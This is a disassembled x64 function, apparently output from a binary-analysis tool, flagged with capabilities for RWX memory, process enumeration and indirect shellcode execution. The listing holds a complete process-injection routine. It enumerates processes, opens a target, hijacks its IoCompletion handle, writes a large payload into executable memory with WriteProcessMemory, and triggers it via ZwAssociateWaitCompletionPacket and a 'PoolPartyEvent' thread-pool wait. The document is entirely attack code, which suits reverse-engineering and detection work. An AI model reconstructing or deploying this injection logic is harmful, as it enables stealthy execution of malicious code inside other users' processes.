Function at 0x1800041e0
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f8]
sub rsp, 0x2f8
lea rcx, [0x18003ddc0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x80], rax
mov ecx, 8
call fcn.18000ab40
mov rsi, rax
mov qword [rbp + 0x250], rax
mov dword [rbp - 0x50], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
test rax, rax
jne 0x18000426c
lea rcx, str._x__Cannot_retrieve_the_processes_snapshot_n
call fcn.180002750
lea rcx, str._x__Cannot_open_the_process_n
call fcn.180002750
mov eax, 0xffffffff
add rsp, 0x2f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180004247
lea rdx, [0x18003ddd0]
lea rcx, [rbp - 0x24]
call fcn.180015778
test eax, eax
jne 0x1800042bf
mov ebx, dword [rbp - 0x48]
mov edx, ebx
lea rcx, str.___Injecting_into_:__d_n
call fcn.180002750
mov r8d, ebx
xor edx, edx
mov ecx, 0x478
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r13, rax
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x1800042ce
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180004279
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
xor r14d, r14d
mov r12d, r14d
mov qword [rsp + 0x50], r14
mov dword [rbp + 0x240], r14d
mov rdi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rbp + 0x240]
mov rdx, rdi
sub rdx, r15
cmp rcx, rdx
jae 0x18000431c
lea rdi, [rcx + r15]
mov qword [rsp + 0x48], rdi
jmp 0x180004366
jbe 0x180004366
mov rax, r12
sub rax, r15
cmp rcx, rax
jbe 0x180004347
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.180007fb0
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
jmp 0x180004366
sub rcx, rdx
lea rbx, [rdi + rcx]
mov r8, rbx
sub r8, rdi
xor edx, edx
mov rcx, rdi
call fcn.18000d1b0
mov rdi, rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x240]
mov r8, r15
mov edx, 0x33
mov rcx, r13
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
cmp eax, 0xc0000004
je 0x180004300
mov ebx, r14d
mov dword [rbp + 0x248], ebx
cmp qword [r15], rbx
jbe 0x180004612
lea rdi, [r15 + 0x10]
mov qword [rbp + 0x258], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x1f0003
mov r9, rsi
mov rdx, qword [rdi]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x1800043f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.DuplicateHandle_Failded__d_n
call fcn.180002750
jmp 0x1800045c5
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
xor ecx, ecx
mov dword [rbp + 0x240], ecx
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov r13, qword [rbp + 0x250]
mov eax, dword [rbp + 0x240]
mov rdx, rdi
sub rdx, rsi
cmp rax, rdx
jae 0x18000443c
lea rdi, [rax + rsi]
mov qword [rsp + 0x60], rdi
jmp 0x180004486
jbe 0x180004486
mov rcx, r14
sub rcx, rsi
cmp rax, rcx
jbe 0x180004467
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.180007fb0
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
jmp 0x180004486
sub rax, rdx
lea rbx, [rdi + rax]
mov r8, rbx
sub r8, rdi
xor edx, edx
mov rcx, rdi
call fcn.18000d1b0
mov rdi, rbx
mov qword [rsp + 0x60], rbx
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x240]
mov r8, rsi
mov edx, 2
mov rcx, qword [r13]
call qword [sym.imp.ntdll.dll_NtQueryObject]
cmp eax, 0xc0000004
je 0x180004420
mov r13, qword [rsp + 0x70]
mov rdx, qword [rsi + 8]
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x60], 7
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x1800044e0
lea rcx, [rbp - 0x78]
call fcn.180001f30
lea rcx, [rbp - 0x78]
mov r10, qword [rbp - 0x60]
cmp r10, 8
setae r11b
mov r9, qword [rbp - 0x78]
cmovae rcx, r9
cmp qword [rbp - 0x68], 0xc
jne 0x18000453a
mov r8d, 0xc
lea rdx, str.IoCompletion
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x18000453a
add rcx, 2
add rdx, 2
sub r8, 1
jne 0x180004520
mov bl, 1
jmp 0x18000453c
xor bl, bl
test r11b, r11b
je 0x180004577
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x18000456e
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004857
mov rcx, r9
call fcn.18000ab38
nop
sub r14, rsi
mov rax, rsi
test bl, bl
jne 0x1800045e5
cmp r14, 0x1000
jb 0x1800045a3
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000485d
mov rdx, r14
mov rcx, rsi
call fcn.18000ab38
mov rsi, qword [rbp + 0x250]
mov ebx, dword [rbp + 0x248]
mov rdi, qword [rbp + 0x258]
xor r14d, r14d
inc ebx
mov dword [rbp + 0x248], ebx
add rdi, 0x28
mov qword [rbp + 0x258], rdi
movsxd rax, ebx
cmp rax, qword [r15]
jae 0x180004612
jmp 0x1800043b2
cmp r14, 0x1000
jb 0x180004607
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000485d
mov rdx, r14
mov rcx, rsi
call fcn.18000ab38
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x300d1
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180004684
lea rax, [rbp + 0x248]
mov qword [rsp + 0x20], rax
mov r9d, 0x300d1
lea r8, [0x1802b8320]
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000466f
cmp qword [rbp + 0x248], 0x300d1
je 0x180004686
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor ebx, ebx
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
mov rbx, rax
test rax, rax
jne 0x1800046ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateThreadpoolWait:__d
jmp 0x1800047bf
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1d8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x1d8
mov r8, rbx
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
lea r8d, [rdx + 8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
lea r8, [rbx + 0x188]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x48
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r9, str.PoolPartyEvent
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180004762
lea rcx, str.WARNING:_The_event_already_exists:_PoolPartyEvent_n
call fcn.180002750
lea rdx, str.ZwAssociateWaitCompletionPacket
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x180004786
lea rcx, str.Failed_get_address_of_ZwAssociateWaitCompletionPacket_n
call fcn.180002750
jmp 0x1800047c7
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rsi
mov r9, r14
mov r8, rdi
mov rdx, qword [rbp + 0x250]
mov rdx, qword [rdx]
mov rcx, qword [rbx + 0x170]
call rax
test eax, eax
jns 0x1800047fb
lea rcx, str._x__Failed_to_ZwAssociateWaitCompletionPacketfn_:__p__n
mov edx, eax
call fcn.180002750
nop
sub r12, r15
mov rcx, r15
cmp r12, 0x1000
jb 0x1800047eb
add r12, 0x27
mov r15, qword [r15 - 8]
sub rcx, r15
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x180004851
mov rdx, r12
mov rcx, r15
call fcn.18000ab38
jmp 0x180004253
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x18000481d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__Failed_to_GetLastError_:__p__n
call fcn.180002750
nop
sub r12, r15
mov rax, r15
cmp r12, 0x1000
jb 0x180004841
add r12, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004851
mov rdx, r12
mov rcx, r15
call fcn.18000ab38
jmp 0x180004258
call fcn.180011c44
nop
call fcn.180011c44
nop
call fcn.180011c44
int3